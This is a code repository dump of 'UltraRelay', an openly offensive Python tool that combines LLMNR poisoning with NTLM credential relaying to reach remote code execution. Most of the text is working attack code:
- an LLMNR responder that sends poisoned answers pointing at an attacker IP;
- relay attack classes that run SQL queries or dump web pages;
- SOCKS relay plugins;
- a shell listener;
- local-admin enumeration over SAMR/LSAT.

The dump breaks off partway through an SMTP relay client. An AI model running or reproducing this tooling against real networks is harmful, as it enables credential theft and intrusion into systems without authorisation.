├── ntlmrelayx ├── __init__.py ├── utils │ ├── __init__.py │ ├── tcpshell.py │ ├── ssl.py │ ├── enum.py │ ├── config.py │ └── targetsutils.py ├── servers │ ├── __init__.py │ ├── socksplugins │ │ ├── __init__.py │ │ ├── https.py │ │ ├── imaps.py │ │ ├── smtp.py │ │ ├── http.py │ │ ├── mssql.py │ │ └── imap.py │ ├── httprelayserver.py │ └── socksserver.py ├── attacks │ ├── mssqlattack.py │ ├── httpattack.py │ ├── __init__.py │ ├── imapattack.py │ ├── smbattack.py │ └── ldapattack.py └── clients │ ├── smtprelayclient.py │ ├── __init__.py │ ├── imaprelayclient.py │ ├── httprelayclient.py │ ├── mssqlrelayclient.py │ ├── ldaprelayclient.py │ └── smbrelayclient.py ├── Readme.md ├── llmnrpoison ├── __init__.py ├── settings.py ├── utils.py ├── LLMNR.py └── odict.py ├── .gitignore └── ultrarelay.py /ntlmrelayx/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/__init__.py: -------------------------------------------------------------------------------- 1 | pass 2 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/__init__.py: -------------------------------------------------------------------------------- 1 | from httprelayserver import HTTPRelayServer 2 | from smbrelayserver import SMBRelayServer 3 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/__init__.py: -------------------------------------------------------------------------------- 1 | import os 2 | import sys 3 | import pkg_resources 4 | 5 | SOCKS_RELAYS = set() 6 | 7 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx.servers', 'socksplugins'): 8 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 9 | continue 10 | 11 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 12 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 13 | pluginClass = getattr(module, getattr(module, 'PLUGIN_CLASS')) 14 | SOCKS_RELAYS.add(pluginClass) 15 | -------------------------------------------------------------------------------- /Readme.md: -------------------------------------------------------------------------------- 1 | # UltraRelay 2 | 3 | UltraRelay is a tool for LLMNR poisoning and relaying NTLM credentials. It is based on [Responder](https://github.com/SpiderLabs/Responder) and [impack](https://github.com/SecureAuthCorp/impacket). 4 | 5 | Especially, this tool can be used to relay credentials from JAVA http request to local SMB server and achieve RCE. 6 | 7 | ## Dependency 8 | 9 | * [Responder](https://github.com/SpiderLabs/Responder) 10 | * [impack](https://github.com/SecureAuthCorp/impacket) 11 | 12 | ## Ussage 13 | 14 | `python ultrarelay.py -ip 192.168.1.100` 15 | 16 | Value of the ip argument is attacker's ip address. 17 | 18 | ## Demo video 19 | 20 | https://www.youtube.com/watch?v=VyoyA2GgKck 21 | 22 | ## Contact 23 | 24 | md5_salt [AT] qq.com -------------------------------------------------------------------------------- /ntlmrelayx/attacks/mssqlattack.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # MSSQL Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # MSSQL protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 20 | 21 | PROTOCOL_ATTACK_CLASS = "MSSQLAttack" 22 | 23 | class MSSQLAttack(ProtocolAttack): 24 | PLUGIN_NAMES = ["MSSQL"] 25 | def run(self): 26 | if self.config.queries is None: 27 | LOG.error('No SQL queries specified for MSSQL relay!') 28 | else: 29 | for query in self.config.queries: 30 | LOG.info('Executing SQL: %s' % query) 31 | self.client.sql_query(query) 32 | self.client.printReplies() 33 | self.client.printRows() 34 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/tcpshell.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # TCP interactive shell 8 | # 9 | # Author: 10 | # Dirk-jan Mollema / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Launches a TCP shell for interactive use of clients 14 | # after successful relaying 15 | import socket 16 | #Default listen port 17 | port = 11000 18 | class TcpShell: 19 | def __init__(self): 20 | global port 21 | self.port = port 22 | #Increase the default port for the next attack 23 | port += 1 24 | 25 | def listen(self): 26 | #Set up the listening socket 27 | serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 28 | #Bind on localhost 29 | serversocket.bind(('127.0.0.1', self.port)) 30 | #Don't allow a backlog 31 | serversocket.listen(0) 32 | self.connection, host = serversocket.accept() 33 | #Create a file object from the socket 34 | self.socketfile = self.connection.makefile() -------------------------------------------------------------------------------- /llmnrpoison/__init__.py: -------------------------------------------------------------------------------- 1 | from SocketServer import TCPServer, UDPServer, ThreadingMixIn 2 | from threading import Thread 3 | from LLMNR import LLMNR 4 | import socket 5 | import settings 6 | 7 | settings.init() 8 | 9 | 10 | class ThreadingUDPLLMNRServer(ThreadingMixIn, UDPServer): 11 | def server_bind(self): 12 | MADDR = "224.0.0.252" 13 | self.socket.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1) 14 | self.socket.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, 255) 15 | 16 | self.socket.setsockopt(socket.IPPROTO_IP,socket.IP_ADD_MEMBERSHIP,socket.inet_aton(MADDR) + socket.inet_aton(settings.Config.IP)) 17 | #self.socket.setsockopt(socket.SOL_SOCKET, 25, IP+'\0') 18 | 19 | UDPServer.server_bind(self) 20 | 21 | ThreadingUDPLLMNRServer.allow_reuse_address = 1 22 | 23 | def serve_LLMNR_poisoner(host, port, handler): 24 | try: 25 | server = ThreadingUDPLLMNRServer((host, port), handler) 26 | server.serve_forever() 27 | except: 28 | raise 29 | print color("[!] ", 1, 1) + "Error starting UDP server on port " + str(port) + ", check permissions or other servers running." 30 | 31 | 32 | #threads.append(Thread(target=serve_LLMNR_poisoner, args=('', 5355, LLMNR,))) 33 | 34 | #serve_LLMNR_poisoner('', 5355, LLMNR) -------------------------------------------------------------------------------- /llmnrpoison/settings.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder 3 | # Original work by Laurent Gaffie - Trustwave Holdings 4 | # 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | 18 | import utils 19 | import ConfigParser 20 | 21 | __version__ = 'Responder 2.3' 22 | 23 | class Settings: 24 | 25 | def __init__(self): 26 | self.IP = '0.0.0.0' 27 | 28 | def __str__(self): 29 | ret = 'Settings class:\n' 30 | for attr in dir(self): 31 | value = str(getattr(self, attr)).strip() 32 | ret += " Settings.%s = %s\n" % (attr, value) 33 | return ret 34 | 35 | def set(self, IP): 36 | self.IP = IP 37 | 38 | 39 | def init(): 40 | global Config 41 | Config = Settings() 42 | -------------------------------------------------------------------------------- /llmnrpoison/utils.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import os 18 | import sys 19 | import re 20 | import logging 21 | import socket 22 | import time 23 | import datetime 24 | import settings 25 | 26 | def color(txt, code = 1, modifier = 0): 27 | return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) 28 | 29 | def RespondWithIPAton(): 30 | return socket.inet_aton(settings.Config.IP) 31 | 32 | def Parse_IPV6_Addr(data): 33 | if data[len(data)-4:len(data)][1] =="\x1c": 34 | return False 35 | elif data[len(data)-4:len(data)] == "\x00\x01\x00\x01": 36 | return True 37 | elif data[len(data)-4:len(data)] == "\x00\xff\x00\x01": 38 | return True 39 | return False -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Byte-compiled / optimized / DLL files 2 | __pycache__/ 3 | *.py[cod] 4 | *$py.class 5 | 6 | # C extensions 7 | *.so 8 | 9 | # Distribution / packaging 10 | .Python 11 | build/ 12 | develop-eggs/ 13 | dist/ 14 | downloads/ 15 | eggs/ 16 | .eggs/ 17 | lib/ 18 | lib64/ 19 | parts/ 20 | sdist/ 21 | var/ 22 | wheels/ 23 | *.egg-info/ 24 | .installed.cfg 25 | *.egg 26 | MANIFEST 27 | 28 | # PyInstaller 29 | # Usually these files are written by a python script from a template 30 | # before PyInstaller builds the exe, so as to inject date/other infos into it. 31 | *.manifest 32 | *.spec 33 | 34 | # Installer logs 35 | pip-log.txt 36 | pip-delete-this-directory.txt 37 | 38 | # Unit test / coverage reports 39 | htmlcov/ 40 | .tox/ 41 | .coverage 42 | .coverage.* 43 | .cache 44 | nosetests.xml 45 | coverage.xml 46 | *.cover 47 | .hypothesis/ 48 | .pytest_cache/ 49 | 50 | # Translations 51 | *.mo 52 | *.pot 53 | 54 | # Django stuff: 55 | *.log 56 | local_settings.py 57 | db.sqlite3 58 | 59 | # Flask stuff: 60 | instance/ 61 | .webassets-cache 62 | 63 | # Scrapy stuff: 64 | .scrapy 65 | 66 | # Sphinx documentation 67 | docs/_build/ 68 | 69 | # PyBuilder 70 | target/ 71 | 72 | # Jupyter Notebook 73 | .ipynb_checkpoints 74 | 75 | # pyenv 76 | .python-version 77 | 78 | # celery beat schedule file 79 | celerybeat-schedule 80 | 81 | # SageMath parsed files 82 | *.sage.py 83 | 84 | # Environments 85 | .env 86 | .venv 87 | env/ 88 | venv/ 89 | ENV/ 90 | env.bak/ 91 | venv.bak/ 92 | 93 | # Spyder project settings 94 | .spyderproject 95 | .spyproject 96 | 97 | # Rope project settings 98 | .ropeproject 99 | 100 | # mkdocs documentation 101 | /site 102 | 103 | # mypy 104 | .mypy_cache/ 105 | -------------------------------------------------------------------------------- /ntlmrelayx/attacks/httpattack.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # HTTP Attack Class 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # HTTP protocol relay attack 15 | # 16 | # ToDo: 17 | # 18 | from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 19 | 20 | PROTOCOL_ATTACK_CLASS = "HTTPAttack" 21 | 22 | class HTTPAttack(ProtocolAttack): 23 | """ 24 | This is the default HTTP attack. This attack only dumps the root page, though 25 | you can add any complex attack below. self.client is an instance of urrlib.session 26 | For easy advanced attacks, use the SOCKS option and use curl or a browser to simply 27 | proxy through ntlmrelayx 28 | """ 29 | PLUGIN_NAMES = ["HTTP", "HTTPS"] 30 | def run(self): 31 | #Default action: Dump requested page to file, named username-targetname.html 32 | 33 | #You can also request any page on the server via self.client.session, 34 | #for example with: 35 | result = self.client.request("GET", "/") 36 | r1 = self.client.getresponse() 37 | print r1.status, r1.reason 38 | data1 = r1.read() 39 | print data1 40 | 41 | #Remove protocol from target name 42 | #safeTargetName = self.client.target.replace('http://','').replace('https://','') 43 | 44 | #Replace any special chars in the target name 45 | #safeTargetName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', safeTargetName) 46 | 47 | #Combine username with filename 48 | #fileName = re.sub(r'[^a-zA-Z0-9_\-\.]+', '_', self.username.decode('utf-16-le')) + '-' + safeTargetName + '.html' 49 | 50 | #Write it to the file 51 | #with open(os.path.join(self.config.lootdir,fileName),'w') as of: 52 | # of.write(self.client.lastresult) 53 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/https.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the HTTPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed HTTPS connections 14 | # 15 | # ToDo: 16 | # 17 | 18 | from impacket import LOG 19 | from impacket.examples.ntlmrelayx.servers.socksplugins.http import HTTPSocksRelay 20 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 21 | from OpenSSL import SSL 22 | 23 | # Besides using this base class you need to define one global variable when 24 | # writing a plugin: 25 | PLUGIN_CLASS = "HTTPSSocksRelay" 26 | EOL = '\r\n' 27 | 28 | class HTTPSSocksRelay(SSLServerMixin, HTTPSocksRelay): 29 | PLUGIN_NAME = 'HTTPS Socks Plugin' 30 | PLUGIN_SCHEME = 'HTTPS' 31 | 32 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 33 | HTTPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 34 | 35 | @staticmethod 36 | def getProtocolPort(): 37 | return 443 38 | 39 | def skipAuthentication(self): 40 | LOG.debug('Wrapping client connection in TLS/SSL') 41 | self.wrapClientConnection() 42 | if not HTTPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | return True 47 | 48 | def tunnelConnection(self): 49 | while True: 50 | try: 51 | data = self.socksSocket.recv(self.packetSize) 52 | except SSL.ZeroReturnError: 53 | # The SSL connection was closed, return 54 | return 55 | # Pass the request to the server 56 | tosend = self.prepareRequest(data) 57 | self.relaySocket.send(tosend) 58 | # Send the response back to the client 59 | self.transferResponse() 60 | -------------------------------------------------------------------------------- /ntlmrelayx/attacks/__init__.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Protocol Attack Base Class definition 8 | # 9 | # Authors: 10 | # Alberto Solino (@agsolino) 11 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 12 | # 13 | # Description: 14 | # Defines a base class for all attacks + loads all available modules 15 | # 16 | # ToDo: 17 | # 18 | import os, sys 19 | import pkg_resources 20 | from impacket import LOG 21 | from threading import Thread 22 | 23 | PROTOCOL_ATTACKS = {} 24 | 25 | # Base class for Protocol Attacks for different protocols (SMB, MSSQL, etc) 26 | # Besides using this base class you need to define one global variable when 27 | # writing a plugin for protocol clients: 28 | # PROTOCOL_ATTACK_CLASS = "" 29 | # or (to support multiple classes in one file) 30 | # PROTOCOL_ATTACK_CLASSES = ["", ""] 31 | # These classes must have the attribute PLUGIN_NAMES which is a list of protocol names 32 | # that will be matched later with the relay targets (e.g. SMB, LDAP, etc) 33 | class ProtocolAttack(Thread): 34 | PLUGIN_NAMES = ['PROTOCOL'] 35 | def __init__(self, config, client, username): 36 | Thread.__init__(self) 37 | # Set threads as daemon 38 | self.daemon = True 39 | self.config = config 40 | self.client = client 41 | # By default we only use the username and remove the domain 42 | self.username = username.split('/')[1] 43 | 44 | def run(self): 45 | raise RuntimeError('Virtual Function') 46 | 47 | for file in pkg_resources.resource_listdir('impacket.examples.ntlmrelayx', 'attacks'): 48 | if file.find('__') >=0 or os.path.splitext(file)[1] == '.pyc': 49 | continue 50 | __import__(__package__ + '.' + os.path.splitext(file)[0]) 51 | module = sys.modules[__package__ + '.' + os.path.splitext(file)[0]] 52 | try: 53 | pluginClasses = set() 54 | try: 55 | if hasattr(module,'PROTOCOL_ATTACK_CLASSES'): 56 | # Multiple classes 57 | for pluginClass in module.PROTOCOL_ATTACK_CLASSES: 58 | pluginClasses.add(getattr(module, pluginClass)) 59 | else: 60 | # Single class 61 | pluginClasses.add(getattr(module, getattr(module, 'PROTOCOL_ATTACK_CLASS'))) 62 | except Exception, e: 63 | LOG.debug(e) 64 | pass 65 | 66 | for pluginClass in pluginClasses: 67 | for pluginName in pluginClass.PLUGIN_NAMES: 68 | LOG.debug('Protocol Attack %s loaded..' % pluginName) 69 | PROTOCOL_ATTACKS[pluginName] = pluginClass 70 | except Exception, e: 71 | LOG.debug(str(e)) 72 | 73 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/ssl.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SSL utilities 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # Various functions and classes for SSL support: 14 | # - generating certificates 15 | # - creating SSL capable SOCKS protocols 16 | # 17 | # Most of the SSL generation example code comes from the pyopenssl examples 18 | # https://github.com/pyca/pyopenssl/blob/master/examples/certgen.py 19 | # 20 | # Made available under the Apache license by the pyopenssl team 21 | # See https://github.com/pyca/pyopenssl/blob/master/LICENSE 22 | import os 23 | from OpenSSL import crypto, SSL 24 | from impacket import LOG 25 | 26 | # This certificate is not supposed to be exposed on the network 27 | # but only used for the local SOCKS plugins 28 | # therefore, for now we don't bother with a CA and with hosts/hostnames matching 29 | def generateImpacketCert(certname='/tmp/impacket.crt'): 30 | # Create a private key 31 | pkey = crypto.PKey() 32 | pkey.generate_key(crypto.TYPE_RSA, 2048) 33 | 34 | # Create the certificate 35 | cert = crypto.X509() 36 | cert.gmtime_adj_notBefore(0) 37 | # Valid for 5 years 38 | cert.gmtime_adj_notAfter(60*60*24*365*5) 39 | subj = cert.get_subject() 40 | subj.CN = 'impacket' 41 | cert.set_pubkey(pkey) 42 | cert.sign(pkey, "sha256") 43 | # We write both from the same file 44 | with open(certname, 'w') as certfile: 45 | certfile.write(crypto.dump_privatekey(crypto.FILETYPE_PEM, pkey).decode('utf-8')) 46 | certfile.write(crypto.dump_certificate(crypto.FILETYPE_PEM, cert).decode('utf-8')) 47 | LOG.debug('Wrote certificate to %s' % certname) 48 | 49 | # Class to wrap the client socket in SSL when serving as a SOCKS server 50 | class SSLServerMixin(object): 51 | # This function will wrap the socksSocket in an SSL layer 52 | def wrapClientConnection(self, cert='/tmp/impacket.crt'): 53 | # Create a context, we don't really care about the SSL/TLS 54 | # versions used since it is only intended for local use and thus 55 | # doesn't have to be super-secure 56 | ctx = SSL.Context(SSL.SSLv23_METHOD) 57 | try: 58 | ctx.use_privatekey_file(cert) 59 | ctx.use_certificate_file(cert) 60 | except SSL.Error: 61 | LOG.info('SSL requested - generating self-signed certificate in /tmp/impacket.crt') 62 | generateImpacketCert(cert) 63 | ctx.use_privatekey_file(cert) 64 | ctx.use_certificate_file(cert) 65 | 66 | sslSocket = SSL.Connection(ctx, self.socksSocket) 67 | sslSocket.set_accept_state() 68 | 69 | # Now set this property back to the SSL socket instead of the regular one 70 | self.socksSocket = sslSocket 71 | -------------------------------------------------------------------------------- /ntlmrelayx/servers/socksplugins/imaps.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2017 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # A Socks Proxy for the IMAPS Protocol 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # 12 | # Description: 13 | # A simple SOCKS server that proxies a connection to relayed IMAPS connections 14 | # 15 | # ToDo: 16 | # 17 | from impacket import LOG 18 | from impacket.examples.ntlmrelayx.servers.socksplugins.imap import IMAPSocksRelay 19 | from impacket.examples.ntlmrelayx.utils.ssl import SSLServerMixin 20 | from OpenSSL import SSL 21 | 22 | # Besides using this base class you need to define one global variable when 23 | # writing a plugin: 24 | PLUGIN_CLASS = "IMAPSSocksRelay" 25 | EOL = '\r\n' 26 | 27 | class IMAPSSocksRelay(SSLServerMixin, IMAPSocksRelay): 28 | PLUGIN_NAME = 'IMAPS Socks Plugin' 29 | PLUGIN_SCHEME = 'IMAPS' 30 | 31 | def __init__(self, targetHost, targetPort, socksSocket, activeRelays): 32 | IMAPSocksRelay.__init__(self, targetHost, targetPort, socksSocket, activeRelays) 33 | 34 | @staticmethod 35 | def getProtocolPort(): 36 | return 993 37 | 38 | def skipAuthentication(self): 39 | LOG.debug('Wrapping IMAP client connection in TLS/SSL') 40 | self.wrapClientConnection() 41 | try: 42 | if not IMAPSocksRelay.skipAuthentication(self): 43 | # Shut down TLS connection 44 | self.socksSocket.shutdown() 45 | return False 46 | except Exception, e: 47 | LOG.debug('IMAPS: %s' % str(e)) 48 | return False 49 | # Change our outgoing socket to the SSL object of IMAP4_SSL 50 | self.relaySocket = self.session.sslobj 51 | return True 52 | 53 | def tunnelConnection(self): 54 | keyword = '' 55 | tag = '' 56 | while True: 57 | try: 58 | data = self.socksSocket.recv(self.packetSize) 59 | except SSL.ZeroReturnError: 60 | # The SSL connection was closed, return 61 | break 62 | # Set the new keyword, unless it is false, then break out of the function 63 | result = self.processTunnelData(keyword, tag, data) 64 | if result is False: 65 | break 66 | # If its not false, it's a tuple with the keyword and tag 67 | keyword, tag = result 68 | 69 | if tag != '': 70 | # Store the tag in the session so we can continue 71 | tag = int(tag) 72 | if self.idleState is True: 73 | self.relaySocket.sendall('DONE%s' % EOL) 74 | self.relaySocketFile.readline() 75 | 76 | if self.shouldClose: 77 | tag += 1 78 | self.relaySocket.sendall('%s CLOSE%s' % (tag, EOL)) 79 | self.relaySocketFile.readline() 80 | 81 | self.session.tagnum = tag + 1 82 | -------------------------------------------------------------------------------- /ntlmrelayx/utils/enum.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2013-2016 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # Config utilities 8 | # 9 | # Author: 10 | # Ronnie Flathers / @ropnop 11 | # 12 | # Description: 13 | # Helpful enum methods for discovering local admins through SAMR and LSAT 14 | 15 | from impacket.dcerpc.v5 import transport, lsat, lsad, samr 16 | from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED 17 | from impacket.dcerpc.v5.rpcrt import DCERPCException 18 | from impacket.dcerpc.v5.samr import SID_NAME_USE 19 | 20 | 21 | class EnumLocalAdmins: 22 | def __init__(self, smbConnection): 23 | self.__smbConnection = smbConnection 24 | self.__samrBinding = r'ncacn_np:445[\pipe\samr]' 25 | self.__lsaBinding = r'ncacn_np:445[\pipe\lsarpc]' 26 | 27 | def __getDceBinding(self, strBinding): 28 | rpc = transport.DCERPCTransportFactory(strBinding) 29 | rpc.set_smb_connection(self.__smbConnection) 30 | return rpc.get_dce_rpc() 31 | 32 | def getLocalAdmins(self): 33 | adminSids = self.__getLocalAdminSids() 34 | adminNames = self.__resolveSids(adminSids) 35 | return adminSids, adminNames 36 | 37 | def __getLocalAdminSids(self): 38 | dce = self.__getDceBinding(self.__samrBinding) 39 | dce.connect() 40 | dce.bind(samr.MSRPC_UUID_SAMR) 41 | resp = samr.hSamrConnect(dce) 42 | serverHandle = resp['ServerHandle'] 43 | 44 | resp = samr.hSamrLookupDomainInSamServer(dce, serverHandle, 'Builtin') 45 | resp = samr.hSamrOpenDomain(dce, serverHandle=serverHandle, domainId=resp['DomainId']) 46 | domainHandle = resp['DomainHandle'] 47 | resp = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle) 48 | aliases = {} 49 | for alias in resp['Buffer']['Buffer']: 50 | aliases[alias['Name']] = alias['RelativeId'] 51 | resp = samr.hSamrOpenAlias(dce, domainHandle, desiredAccess=MAXIMUM_ALLOWED, aliasId=aliases['Administrators']) 52 | resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle']) 53 | memberSids = [] 54 | for member in resp['Members']['Sids']: 55 | memberSids.append(member['SidPointer'].formatCanonical()) 56 | dce.disconnect() 57 | return memberSids 58 | 59 | def __resolveSids(self, sids): 60 | dce = self.__getDceBinding(self.__lsaBinding) 61 | dce.connect() 62 | dce.bind(lsat.MSRPC_UUID_LSAT) 63 | resp = lsat.hLsarOpenPolicy2(dce, MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES) 64 | policyHandle = resp['PolicyHandle'] 65 | resp = lsat.hLsarLookupSids(dce, policyHandle, sids, lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta) 66 | names = [] 67 | for n, item in enumerate(resp['TranslatedNames']['Names']): 68 | names.append("{}\\{}".format(resp['ReferencedDomains']['Domains'][item['DomainIndex']]['Name'], item['Name'])) 69 | dce.disconnect() 70 | return names 71 | -------------------------------------------------------------------------------- /llmnrpoison/LLMNR.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # This file is part of Responder, a network take-over set of tools 3 | # created and maintained by Laurent Gaffie. 4 | # email: laurent.gaffie@gmail.com 5 | # This program is free software: you can redistribute it and/or modify 6 | # it under the terms of the GNU General Public License as published by 7 | # the Free Software Foundation, either version 3 of the License, or 8 | # (at your option) any later version. 9 | # 10 | # This program is distributed in the hope that it will be useful, 11 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | # GNU General Public License for more details. 14 | # 15 | # You should have received a copy of the GNU General Public License 16 | # along with this program. If not, see . 17 | import struct 18 | from SocketServer import BaseRequestHandler 19 | from odict import OrderedDict 20 | from utils import * 21 | 22 | # Packet class handling all packet generation (see odict.py). 23 | class Packet(): 24 | fields = OrderedDict([ 25 | ("data", ""), 26 | ]) 27 | def __init__(self, **kw): 28 | self.fields = OrderedDict(self.__class__.fields) 29 | for k,v in kw.items(): 30 | if callable(v): 31 | self.fields[k] = v(self.fields[k]) 32 | else: 33 | self.fields[k] = v 34 | def __str__(self): 35 | return "".join(map(str, self.fields.values())) 36 | 37 | # LLMNR Answer Packet 38 | class LLMNR_Ans(Packet): 39 | fields = OrderedDict([ 40 | ("Tid", ""), 41 | ("Flags", "\x80\x00"), 42 | ("Question", "\x00\x01"), 43 | ("AnswerRRS", "\x00\x01"), 44 | ("AuthorityRRS", "\x00\x00"), 45 | ("AdditionalRRS", "\x00\x00"), 46 | ("QuestionNameLen", "\x09"), 47 | ("QuestionName", ""), 48 | ("QuestionNameNull", "\x00"), 49 | ("Type", "\x00\x01"), 50 | ("Class", "\x00\x01"), 51 | ("AnswerNameLen", "\x09"), 52 | ("AnswerName", ""), 53 | ("AnswerNameNull", "\x00"), 54 | ("Type1", "\x00\x01"), 55 | ("Class1", "\x00\x01"), 56 | ("TTL", "\x00\x00\x00\x1e"),##Poison for 30 sec. 57 | ("IPLen", "\x00\x04"), 58 | ("IP", "\x00\x00\x00\x00"), 59 | ]) 60 | 61 | def calculate(self): 62 | self.fields["IP"] = RespondWithIPAton() 63 | self.fields["IPLen"] = struct.pack(">h",len(self.fields["IP"])) 64 | self.fields["AnswerNameLen"] = struct.pack(">h",len(self.fields["AnswerName"]))[1] 65 | self.fields["QuestionNameLen"] = struct.pack(">h",len(self.fields["QuestionName"]))[1] 66 | 67 | 68 | 69 | def Parse_LLMNR_Name(data): 70 | NameLen = struct.unpack('>B',data[12])[0] 71 | return data[13:13+NameLen] 72 | 73 | 74 | class LLMNR(BaseRequestHandler): # LLMNR Server class 75 | def handle(self): 76 | data, soc = self.request 77 | Name = Parse_LLMNR_Name(data) 78 | 79 | if data[2:4] == "\x00\x00" and Parse_IPV6_Addr(data): 80 | Buffer = LLMNR_Ans(Tid=data[0:2], QuestionName=Name, AnswerName=Name) 81 | Buffer.calculate() 82 | soc.sendto(str(Buffer), self.client_address) 83 | LineHeader = "[*] [LLMNR]" 84 | print color("%s Poisoned answer sent to %s for name %s" % (LineHeader, self.client_address[0], Name), 2, 1) 85 | 86 | -------------------------------------------------------------------------------- /ntlmrelayx/clients/smtprelayclient.py: -------------------------------------------------------------------------------- 1 | # Copyright (c) 2003-2018 CORE Security Technologies 2 | # 3 | # This software is provided under under a slightly modified version 4 | # of the Apache Software License. See the accompanying LICENSE file 5 | # for more information. 6 | # 7 | # SMTP Protocol Client 8 | # 9 | # Author: 10 | # Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 11 | # Alberto Solino (@agsolino) 12 | # 13 | # Description: 14 | # SMTP client for relaying NTLMSSP authentication to mailservers, for example Exchange 15 | # 16 | import smtplib 17 | import base64 18 | from struct import unpack 19 | 20 | from impacket import LOG 21 | from impacket.examples.ntlmrelayx.clients import ProtocolClient 22 | from impacket.nt_errors import STATUS_SUCCESS, STATUS_ACCESS_DENIED 23 | from impacket.ntlm import NTLMAuthChallenge 24 | from impacket.spnego import SPNEGO_NegTokenResp 25 | 26 | 